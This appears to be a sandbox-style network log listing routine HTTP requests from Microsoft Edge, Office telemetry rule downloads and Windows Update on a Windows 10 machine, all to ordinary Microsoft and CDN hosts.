Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1981927DEF30640D17DC8742EE526551&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=990fd08334294cf2e73b1a231aa58534 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F5A781EBD344B789849D40870A32EB8&MUID=1981927DEF30640D17DC8742EE526551 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; _C_ETH=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KP44xo9Vhz+g544&MD=w5aHBKCo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
